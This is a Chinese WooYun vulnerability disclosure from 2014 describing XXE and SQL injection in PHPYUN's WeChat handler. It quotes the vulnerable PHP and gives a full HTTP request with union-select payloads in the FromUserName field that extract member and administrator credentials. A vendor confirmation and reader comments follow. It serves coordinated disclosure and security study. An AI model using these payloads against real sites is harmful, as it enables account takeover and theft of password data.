当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(36) 关注此漏洞

缺陷编号: WooYun-2014-64678

漏洞标题: PHPYUN最新版XML注入及SQL注入获取管理员账号(无视任何防御)

相关厂商: php云人才系统

漏洞作者: xfkxfk认证白帽子

提交时间: 2014-06-12 17:40

公开时间: 2014-09-10 17:42

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 设计缺陷/边界绕过 php源码审核 php源码分析

12人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-12: 细节已通知厂商并且等待厂商处理中
2014-06-12: 厂商已经确认,细节仅向厂商公开
2014-06-15: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-06: 细节向核心白帽子及相关领域专家公开
2014-08-16: 细节向普通白帽子公开
2014-08-26: 细节向实习白帽子公开
2014-09-10: 细节向公众公开

简要描述:

早上提交了个XML实体读取任意文件的,结果厂商说是数字被提交了,顿时无语了。
这里还有一个XML注入及SQL注入,如果说又是数字被提交了,我保证不在挖你们的漏洞了!!!

详细说明:

首先我们来说一说$GLOBALS["HTTP_RAW_POST_DATA"]这个东东,他会吧POST过来的内容原封不动的传进来,所以phpyun的那些铜墙铁壁的防御也就没用了!!!



还是文件:weixin/model/index.class.php

XML实体注入:

code 区域
private function responseMsg()
{
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];


if (!empty($postStr)){

$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
$fromUsername = $postObj->FromUserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postObj->Content);
$time = time();
$textTpl = "<xml>
<ToUserName><![CDATA[%s]]></ToUserName>
<FromUserName><![CDATA[%s]]></FromUserName>
<CreateTime>%s</CreateTime>
<MsgType><![CDATA[%s]]></MsgType>
<Content><![CDATA[%s]]></Content>
<FuncFlag>0</FuncFlag>
</xml>";
if(!empty( $keyword ))
{
$msgType = "text";
$contentStr = "Welcome to wechat world!";
$resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);
echo $resultStr;
}else{
echo "Input something...";
}

}else {
echo "";
exit;
}
}



这里将$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];通过simplexml_load_string解析后的内容,直接带入了$textTpl。

然而$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];就是直接获取的POST过来的XML内容,没有经过任何处理,最后将其echo出来了。

code 区域
$resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);
echo $resultStr;



整个过程就是传一个XML的内容进去,然后输出一个XML的内容,那么我们结果XML实体注入不就可以读取服务器上的内容,然后再输出出来么?!

##############这个应该不会重复了吧!################



SQL注入

code 区域
if($MsgType=='event')
{
$MsgEvent = $postObj->Event;
if ($MsgEvent=='subscribe')
{
$centerStr = "<Content><![CDATA[欢迎您关注".iconv('gbk','utf-8',$this->config['sy_webname'])."!\n 1:您可以直接回复关键字如【销售】、【南京 销售】、【南京 销售 XX公司】查找您想要的职位\n绑定您的账户体验更多精彩功能\n感谢您的关注!]]></Content>";
$this->MsgType = 'text';

}elseif ($MsgEvent=='CLICK')
{
$EventKey = $postObj->EventKey;
if($EventKey=='我的帐号'){
$centerStr = $this->bindUser($fromUsername);

}elseif($EventKey=='我的消息')
{
$centerStr = $this->myMsg($fromUsername);
}elseif($EventKey=='面试邀请')
{
$centerStr = $this->Audition($fromUsername);

}elseif($EventKey=='简历查看')
{

$centerStr = $this->lookResume($fromUsername);

}elseif($EventKey=='刷新简历')
{

$centerStr = $this->refResume($fromUsername);



从代码中开出,当满足那上面的条件后都会进入各种的函数,但是都会进入一个isBind函数



例如EventKey=我的账号,就会进入bindUser函数:

code 区域
private function bindUser($wxid='')
{

$bindType = $this->isBind($wxid);
$this->MsgType = 'text';

return $bindType['cenetrTpl'];

}



然后,我们来看看这个isBind函数:

code 区域
private function isBind($wxid='')
{

if($wxid)
{
$User = $this->obj->DB_select_once("member","`wxid`='".$wxid."'","`uid`,`username`");
}
if($User['uid']>0)
{
$User['bindtype'] = '1';
$User['cenetrTpl'] = "<Content><![CDATA[您的".iconv('gbk','utf-8',$this->config['sy_webname'])."帐号:".$User['username']."已成功绑定! \n\n\n 您也可以<a href=\"".$this->config['sy_weburl']."/wap/index.php?m=login&wxid=".$wxid."\">点击这里</a>进行解绑或绑定其他帐号]]></Content>";

}else{

$Token = $this->getToken();
$Url = 'https://**.**.**.**/cgi-bin/user/info?access_token='.$Token.'&openid='.$wxid.'&lang=zh_CN';
$CurlReturn = $this->CurlPost($Url);
$UserInfo = json_decode($CurlReturn);

$wxid = $wxid;
$wxname = $UserInfo->nickname;
$this->config['token_time'] = time();

$User['cenetrTpl'] = '<Content><![CDATA[您还没有绑定帐号,<a href="'.$this->config['sy_weburl'].'/wap/index.php?m=login&wxid='.$wxid.'">点击这里</a>进行绑定!]]></Content>';
}

return $User;
}



这里的$wxid就是我们传进来的FromUserName的值,直接进入SQL语句,这里可以任意注入。

漏洞证明:

默认是没有wx_token的。

这里要注意:

signature=da39a3ee5e6b4b0d3255bfef95601890afd80709

Content-Type: text/xml

发送请求:

code 区域
POST /phpyun/weixin/index.php?m=index&c=index&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: text/xml;charset=utf-8
Content-Length: 354

<?xml version="1.0" encoding="utf-8"?>
<xml>
<ToUserName>1111</ToUserName>
<FromUserName>1111' and 1=2 union select 1,(select concat(username,password) from phpyun_member limit 0,1)#</FromUserName>
<CreateTime>1402550611</CreateTime>
<MsgType>event</MsgType>
<Event>CLICK</Event>
<EventKey>我的账号</EventKey>
<FuncFlag>0</FuncFlag>
</xml>



1.png



返回结果,插件页面源代码:

2.png



成功获取用户信息。

发送:<FromUserName>1111' and 1=2 union select 1,(select concat(username,0x23,password) from phpyun_admin_user limit 0,1)#</FromUserName>

即可获取管理员用户账号。

修复方案:

默认安装时加上随机wx_token,或者处理输入的内容,防御系统在这里已经没用了,着这里在处理一下吧。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-06-12 17:50

厂商回复:

非常感谢您的提供,我们会加强TOKEN及参数验证,对于之前说的有其他安全平台提前提交,我们只是阐述下确有其事,没有其他任何意思,还望不要介意!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-06-12 17:43 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    1

    行,不挖了!!给我透露透露吧

  2. 2014-06-12 17:57 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)
    1

    xfkxfk 你又调皮了

  3. 2014-06-12 17:59 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1643 漏洞数:189 | 学无止境)
    1

    暴走了啊。nb

  4. 2014-06-12 17:59 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)
    1

    你赢了 我删源码了。。。

  5. 2014-06-12 18:02 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    2

    @索马里的海贼 坚持就是胜利,真的,别删

  6. 2014-06-12 18:04 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    @索马里的海贼 删吧,再见~

  7. 2014-06-15 18:11 | 滨湖虎子 ( 实习白帽子 | Rank:64 漏洞数:10 | 阿弥陀佛)
    0

    大婶 你是在刷洞吗

  8. 2014-06-16 15:53 | D_in ( 普通白帽子 | Rank:423 漏洞数:65 | 到我嘴里来)
    0

    瞬间刷屏了

  9. 2014-09-10 17:44 | greg.wu ( 普通白帽子 | Rank:1027 漏洞数:119 | 打酱油的~)
    0

    一个洞还分两个发。。。

  10. 2014-09-11 20:51 | wellsun ( 路人 | Rank:0 漏洞数:1 | www.wellsun.com)
    1

    诚心诚信RMB收购乌云币~ 价格加Q谈:7520024 (加者备注)

登录后才能发表评论,请先 登录